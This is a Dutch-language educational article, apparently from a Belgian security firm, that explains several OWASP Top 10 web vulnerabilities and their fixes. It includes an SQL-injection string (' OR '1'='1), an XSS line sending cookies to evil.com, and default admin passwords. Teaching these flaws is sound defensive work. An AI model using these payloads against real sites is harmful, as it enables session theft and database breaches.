OWASP Top 10: de standaard referentie
De OWASP Top 10 is de meest gebruikte referentie voor webapplicatie-kwetsbaarheden. OWASP (Open Worldwide Application Security Project) publiceert deze lijst regelmatig op basis van echte data van pentests en incidenten. We bespreken de meest relevante kwetsbaarheden voor de Belgische markt.
1. SQL-injectie
Wat is het? SQL-injectie treedt op wanneer gebruikersinput direct in een SQL-query wordt verwerkt zonder validatie. Een aanvaller kan daarmee willekeurige databaseopdrachten uitvoeren.
Voorbeeld:
-- Normale query
SELECT * FROM users WHERE username = 'jan' AND password = 'test'
-- Na injectie: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = ''
-- Resultaat: geeft ALLE gebruikers terug
Impact: Volledige toegang tot de database, inclusief klantgegevens, wachtwoorden en transacties.
Oplossing: Gebruik altijd prepared statements of een ORM. Nooit directe string-concatenatie in queries.
2. Cross-Site Scripting (XSS)
Wat is het? XSS-aanvallen injecteren kwaadaardig JavaScript in webpagina's die door andere gebruikers worden bekeken.
Voorbeeld: Een reactieveld dat HTML accepteert zonder sanitatie:
<script>document.location='https://evil.com/?c='+document.cookie</script>
Impact: Diefstal van sessiecookies, keylogging, nep-loginpagina's voor phishing.
Oplossing: Escape alle user output. Gebruik Content Security Policy headers.
3. Gebroken authenticatie
Wat is het? Zwakheden in het inlogsysteem: zwakke wachtwoorden, geen MFA, onveilige sessiebeheer, wachtwoorden opgeslagen als plaintext.
Meest voorkomende problemen:
- Geen limiet op inlogpogingen (brute force mogelijk)
- Sessietokens die niet verlopen
- Wachtwoorden in plaintext of met MD5 gehasht
- "Wachtwoord vergeten" via onveilig mechanisme
Oplossing: Implementeer MFA. Gebruik bcrypt voor wachtwoordopslag. Begrens loginpogingen.
4. Insecure Direct Object Reference (IDOR)
Wat is het? Wanneer een applicatie objecten aanroept via een voorspelbaar ID zonder autorisatiecheck.
Voorbeeld:
https://shop.be/factuur/1234
https://shop.be/factuur/1235 ← factuur van een andere klant
Impact: Toegang tot gegevens van andere gebruikers.
Oplossing: Controleer altijd of de ingelogde gebruiker toegang heeft tot het gevraagde object.
5. Security Misconfiguration
Wat is het? Standaardinstellingen, onnodige functies of onbeveiligde configuraties.
Meest voorkomend:
- Default admin-wachtwoorden (admin/admin, admin/password)
- Directory listing aan op de webserver
- Foutmeldingen die interne paden of stacktraces tonen
- Onnodige HTTP-methoden (TRACE, PUT)
- Verouderde software
Oplossing: Security hardening als onderdeel van deployment. Regelmatige audits.
6. CSRF (Cross-Site Request Forgery)
Wat is het? De browser van een ingelogde gebruiker wordt misleid om een ongewilde actie uit te voeren op een site waar hij ingelogd is.
Voorbeeld: Een link in een e-mail die automatisch een bankoverdrachtformulier indient.
Oplossing: CSRF-tokens, SameSite cookies, Origin-header validatie.
7. Kwetsbare dependencies
Wat is het? Gebruik van verouderde npm-packages, WordPress-plugins of andere bibliotheken met bekende CVE's.
Statistiek: 85% van alle web-apps bevat minstens één kwetsbare dependency (Snyk, 2023).
Oplossing: Gebruik Dependabot, npm audit of Snyk voor automatische scanning. Regelmatige updates.
Conclusie
De meeste van deze kwetsbaarheden zijn vermijdbaar met goede development practices en regelmatige audits. Een jaarlijkse Web Application Pentest vangt de kwetsbaarheden die door developers en frameworks worden gemist.